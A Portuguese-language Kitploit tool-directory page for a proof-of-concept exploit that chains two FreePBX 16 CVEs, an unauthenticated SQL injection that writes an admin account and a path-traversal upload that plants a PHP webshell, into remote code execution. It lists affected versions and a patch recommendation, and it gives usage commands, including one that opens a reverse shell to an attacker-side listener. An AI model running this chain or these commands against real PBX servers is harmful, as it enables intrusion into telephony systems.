Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

Diretório de Ferramentas

Categorias

Ver todas as categorias

Loading categories

CVE-2025-57819-RCE — CVE-2025-57819-RCE_PoC | Kitploit

Ferramentas/

GitHub/teteren/cve-2025-57819-rce

Análise de Vulnerabilidades Exploração Exploração de Aplicações Web Testes de Penetração Desenvolvimento de Payloads

teteren/cve-2025-57819-rce

CVE-2025-57819-RCE

CVE-2025-57819-RCE_PoC

Ver Repositório

3há 1 mês

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

FreePBX 16 — De SQLi não autenticada a RCE

Resumo: Esta documentação demonstra como combinar duas vulnerabilidades no FreePBX 16 (CVE-2025-57819 e CVE-2025-61678) para construir uma cadeia de ataque completa que evolui do acesso não autenticado à execução remota de código (Remote Code Execution, RCE).

Informações das Vulnerabilidades CVE

Baixar ferramenta

ID do CVE	Componente Afetado	Impacto e Tipo de Vulnerabilidade

CVE-2025-57819	Carregador de módulos Endpoint (parâmetro `brand`)	Injeção SQL empilhada não autenticada (Unauthenticated Stacked SQL Injection)
CVE-2025-61678	Processador de upload de firmware do Endpoint Manager (parâmetro `fwbrand`)	Upload arbitrário de arquivos autenticado / Path Traversal

Método e Fluxo do Ataque

Criar conta de administrador (CVE-2025-57819): Através do carregador de módulos namespaced (Namespaced Endpoint Loader), aciona a vulnerabilidade de injeção SQL empilhada não autenticada, gravando diretamente uma nova conta de administrador com privilégios totais na tabela ampusers.
Autenticação: Utiliza as credenciais de administrador recém-criadas para acessar o painel administrativo do FreePBX.
Gravar WebShell (CVE-2025-61678): Abusa do recurso de upload de firmware do Endpoint Manager, combinando a vulnerabilidade de path traversal no parâmetro fwbrand (../../../var/www/html/<dir>), para gravar um WebShell PHP diretamente no diretório raiz do site.
Execução de comandos: Chama o WebShell implantado para executar um único comando do sistema ou estabelecer um reverse shell interativo.

Versões Afetadas e Recomendações de Correção

Versões afetadas: FreePBX 16 (versões do módulo Endpoint anteriores a 16.0.92)
FreePBX 17 (corrigido na versão 17.0.6)

Recomendação de correção: atualize para a versão corrigida mais recente o mais rápido possível.

Instruções de Uso (Usage)

root@kitploit:~

# Executar um único comando
python3 exploit.py --rhost pbx.example.com --command "id"

# Estabelecer um reverse shell interativo (escuta automática com pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# Usar HTTP simples com porta personalizada
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Descrição dos Parâmetros (Options)

Parâmetro	Descrição
`--rhost`	[Obrigatório] Endereço do host de destino (Target Host)
`--rport`	Porta de destino (padrão: 443)
`--http`	Força o uso de HTTP em vez do HTTPS padrão